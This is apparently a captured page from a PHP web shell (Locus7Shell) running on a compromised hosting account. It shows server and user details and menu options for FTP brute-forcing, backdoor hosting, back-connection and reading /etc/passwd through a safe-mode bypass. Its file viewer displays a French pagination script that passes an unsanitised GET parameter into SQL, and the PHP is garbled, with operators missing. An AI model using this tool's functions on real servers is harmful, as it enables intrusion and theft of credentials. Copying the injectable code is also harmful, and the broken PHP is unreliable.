Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pagination.php (1.48 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

//connection à la database
include ("connect.php");



//Nombre maximun d'articles par page
$per_page 8;

//d'ou on commence pour la variable
if (isset($_GET['start']))
   
$start $_GET['start'];
else
{
   
$start 0;
}

// compter le nombre de réponse
$record_count mysql_num_rows(mysql_query("SELECT * FROM articles")); // a modifier pour la sélection de donnée (SELECT ..... FROM articles

// compter le nombre maximal de page
$max_pages $record_count $per_page//mais cela peut être décimal

//apparition des données
$get mysql_query("SELECT * FROM articles LIMIT $start$per_page");
while (
$row mysql_fetch_assoc($get))
     {
      
// obtenir données
    
$picture $row['LA_PHOTO'];
       
$name $row['NOM'];
$description $row['DESCRIPTION'];

     echo 
"$picture $name <p> $description<br />";
     }

//installer le bouton avant et après
$prev $start $per_page;
$next $start $per_page;

//montrer le bouton previous
if (!($start<=0))
       echo 
"<a href='pagination.php?start=$prev'>Précédent</a> ";

// montrer le numéro des pages
// programmer la première page
$i=1;

for (
$x=0;$x<$record_count;$x=$x+$per_page)
{
   if (
$start!=$x)
      echo
"<a href='pagination.php?start=$x'>$i</a> ";
   else
      echo
"<a href='pagination.php?start=$x'><b>$i</b></a> ";
   
   
$i++;
}

//montrer le bouton next
if (!($start>=$record_count-$per_page))
       echo 
"<a href='pagination.php?start=$next'>Suivant</a> ";

?>

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--